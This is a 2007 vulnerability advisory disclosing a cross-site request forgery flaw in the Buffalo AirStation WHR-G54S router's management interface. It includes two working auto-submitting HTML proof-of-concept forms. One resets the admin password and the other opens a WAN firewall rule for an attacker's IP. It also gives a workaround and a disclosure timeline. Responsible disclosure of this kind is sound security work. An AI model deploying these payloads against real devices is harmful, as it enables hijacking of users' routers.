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Buffalo AirStation WHR-G54S CSRF vulnerability

From: Henri Lindberg - Smilehouse Oy <henri.lindberg () smilehouse com>
Date: Fri, 07 Sep 2007 14:39:35 +0300
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                          Louhi Networks Oy
                       -= Security Advisory =-


      Advisory: Buffalo AirStation WHR-G54S Web Management CSRF
                vulnerability
  Release Date: 2007-09-07
 Last Modified: 2007-09-07
       Authors: Henri Lindberg, Associate of (ISC)²
                [henri d0t lindberg at louhi d0t fi]

   Application: Buffalo AirStation Web Management

       Devices: WHR-G54S Ver.1.20, possibly other Buffalo products
      Severity: Cross site request forgery in management interface
          Risk: Moderate
 Vendor Status: No response from vendor.
    References: http://www.louhi.fi/advisory/buffalo_070907.txt


Overview:

    During cursory inspection of WHR-G54S it was discovered that a cross
    site request forgery vulnerability exists in the management
    interface. Thus, it is possible for an attacker to perform any
    administrative action in the management interface. These include
    e.g. changing administrative password or adding new firewall rules.


Details:

    Buffalo AirStation WHR-G54S Ver.1.20 device management interface
    does not validate the origin of an HTTP request. If attacker is able
    to make user visit a hostile web page, a  device can be controlled
    by submitting suitable forms. It is possible to add new users for
    example.

    Successful attack requires that the attacker knows the management
    interface address for the target device. As authentication is done
    using HTTP Basic authentication, exploiting this vulnerability
    requires more effort compared to forms authentication.


Proof of Concept:

<html>
  <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
    action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=ap.html
    "style="display:none">

     <input name="ap" value="Evil">
     <input name="TEST_INPUT" value="1">
     <input name="edit_ropass" value="evil">
     <input name="edit_ropass2" value="evil">
     <input name="ropass" value="live">
     <input name="gupass" value="">
    </form>
  </body>
</html>

Note: ropass value is reversed edit_ropass value.

<html>
  <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
    action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html";
    style="display:none">

<input name="sela" value="ACCEPT">
<input name="sel_direction" value="WAN">
<input name="H_sour_ip" value="1.1.1.1">
<input name="H_dest_ip" value="">
<input name="H_prt" value="all">
<input name="Do_ADDtop" value="Add%A0%28Head%29">

</form>
</body>
</html>

1.1.1.1 = attacker's IP address


Workaround:

    Do not browse untrusted websites while using the management
    interface.

    Log out after administering the device.

More information

    http://en.wikipedia.org/wiki/Cross-site_request_forgery

Disclosure Timeline:

    XX  July 2007       - Discovered the issue
    15. August 2007     - Contacted Buffalo
    17. August 2007     - Contacted Buffalo again.
    7.  September 2007  - No response from Vendor.
    7.  September 2007  - Advisory released


Copyright 2007 Louhi Networks Oy. All rights reserved.






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Buffalo AirStation WHR-G54S CSRF vulnerability Henri Lindberg - Smilehouse Oy (Sep 07)